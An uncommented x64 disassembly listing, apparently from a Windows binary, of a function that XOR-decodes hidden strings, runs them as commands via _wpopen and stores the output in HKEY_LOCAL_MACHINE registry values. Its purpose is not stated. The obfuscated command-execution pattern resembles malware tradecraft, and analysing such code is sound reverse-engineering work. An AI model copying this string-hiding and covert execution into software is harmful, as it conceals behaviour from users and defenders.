movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009e8e2
cmp r8d, 0x22
jge 0x14009ea15
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x14009e9e0
cmp word [0x1401731e6], r14w
mov rax, qword [0x1401731e0]
mov qword [rsp + 0x50], rax
je 0x14009eae6
cmp esi, 2
jl 0x14009eaa9
movdqa xmm3, xmmword [0x140178380]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140178740]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140178740]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401783b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.000000001111111122222222333333337777777799999999]
xorps xmm2, xmm0
movq qword [rsp + 0x50], xmm2
jmp 0x14009eae6
lea r9, [rsp + 0x50]
mov r8d, r14d
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 4
jl 0x14009eab1
lea rcx, [rbp + 0x18]
call fcn.140093090
cmp qword [rbp + 0x28], r14
je 0x14009eb70
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [rbp + 0x28]
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
lea rdx, [rsp + 0x50]
mov r9d, 1
cmova rcx, qword [rbp + 0x18]
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x18]
call fcn.14008a290
movups xmm0, xmmword [0x140172cd0]
mov r8d, r14d
movups xmm1, xmmword [0x140172ce0]
mov eax, dword [0x140172d10]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140172cf0]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140172d00]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009ecd2
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009ebe1
cmp r8d, 0x22
jge 0x14009ed15
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x14009ece0
cmp word [0x14017303e], r14w
mov rax, qword [str.wag3_EVFFRTU]
mov qword [rbp], rax
je 0x14009ede5
cmp esi, 2
jl 0x14009eda6
movdqa xmm3, xmmword [0x140178380]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140178740]
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140178740]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1401783b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.000000001111111122222222333333337777777799999999]
xorps xmm2, xmm0
movq qword [rbp], xmm2
jmp 0x14009ede5
lea r9, [rbp]
mov r8d, r14d
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 4
jl 0x14009edb0
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x200
call fcn.14014a104
cmp word [0x1401724a2], r14w
lea rdx, [0x140172e40]
movups xmm0, xmmword [rdx]
mov eax, dword [0x1401724a0]
lea rcx, [rbp + 0x40]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
mov dword [rsp + 0x50], eax
mov rax, qword [rdx + 0x40]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [rcx + 0x48], eax
je 0x14009ee9c
xor word [rsp + 0x52], 0x31
mov word [rsp + 0x50], r15w
mov r8d, r14d
cmp esi, 2
jl 0x14009efc1
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rbp + 0x40]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x60
jl 0x14009eed0
cmp r8d, 0x66
jge 0x14009f005
movsxd rax, r8d
lea r9, [rbp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x66
jl 0x14009efd0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009f10d
mov r8, rax
lea rcx, [rbp + 0x440]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009f104
lea rax, [rbp + 0x440]
mov rcx, rbx
nop dword [rax + rax]
cmp word [rax + rcx*2 + 2], r14w
lea rcx, [rcx + 1]
jne 0x14009f050
lea rcx, [rcx*2 - 2]
cmp rcx, 0x200
jae 0x14009f600
mov qword [rsp + 0x40], r14
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov word [rbp + rcx + 0x440], r14w
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009f104
lea rcx, [rbp + 0x440]
mov rax, rbx
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009f0c0
mov rcx, qword [rbp + 8]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp]
lea rax, [rbp + 0x440]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140172cd0]
mov r8d, r14d
movups xmm1, xmmword [0x140172ce0]
mov eax, dword [0x140172d10]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140172cf0]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140172d00]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009f271
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009f180
cmp r8d, 0x22
jge 0x14009f2b5
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x22
jl 0x14009f280
movups xmm0, xmmword [str.B__RZ]
movzx eax, word [0x140172fd8]
mov ecx, Ordinal_79
xor ax, 0x38
xor edx, edx
movups xmmword [rbp + 0x18], xmm0
xor word [rbp + 0x1a], 0x31
mov r8d, 0x200
xor word [rbp + 0x1c], 0x32
xor word [rbp + 0x1e], 0x33
xor word [rbp + 0x20], 0x34
xor word [rbp + 0x22], 0x35
xor word [rbp + 0x24], 0x36
xor word [rbp + 0x26], 0x37
mov word [rbp + 0x18], cx
lea rcx, [rbp + 0x40]
mov word [rbp + 0x28], ax
call fcn.14014a104
cmp word [0x1401724a2], r14w
movups xmm0, xmmword [0x1401728f0]
mov eax, dword [0x1401724a0]
movups xmm1, xmmword [0x140172900]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140172920]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x20], ax
movups xmm0, xmmword [0x140172910]
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm0
je 0x14009f358
xor word [rsp + 0x52], 0x31
mov word [rsp + 0x50], r15w
mov r8d, r14d
cmp esi, 2
jl 0x14009f481
movdqa xmm5, xmmword [0x140178380]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140178740]
movdqa xmm6, xmmword [0x1401783b0]
movdqa xmm7, xmmword [str.000000001111111122222222333333337777777799999999]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x14009f390
cmp r8d, 0x19
jge 0x14009f4c5
movsxd rax, r8d
lea r9, [rbp - 0x50]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x5397829d
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x31
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x19
jl 0x14009f490
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009f5ca
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rdi
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009f5c1
lea rcx, [rbp + 0x40]
mov rax, rbx
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009f514
lea rax, [rax*2 - 2]
cmp rax, 0x200
jae 0x14009f606
mov qword [rsp + 0x40], r14
lea rdx, [rsp + 0x60]
mov word [rbp + rax + 0x40], r14w
xor r9d, r9d
lea rax, [rbp + 8]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009f5c1
lea rax, [rbp + 0x40]
nop word [rax + rax]
cmp word [rax + rbx*2 + 2], r14w
lea rbx, [rbx + 1]
jne 0x14009f580
mov rcx, qword [rbp + 8]
lea eax, [rbx*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 0x18]
lea rax, [rbp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rcx, qword [rbp + 0x640]
xor rcx, rsp
call fcn.1401487e0
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140148a28
int3
call fcn.140148a28
int3
call fcn.140148a28
int3
call fcn.140148a28
int3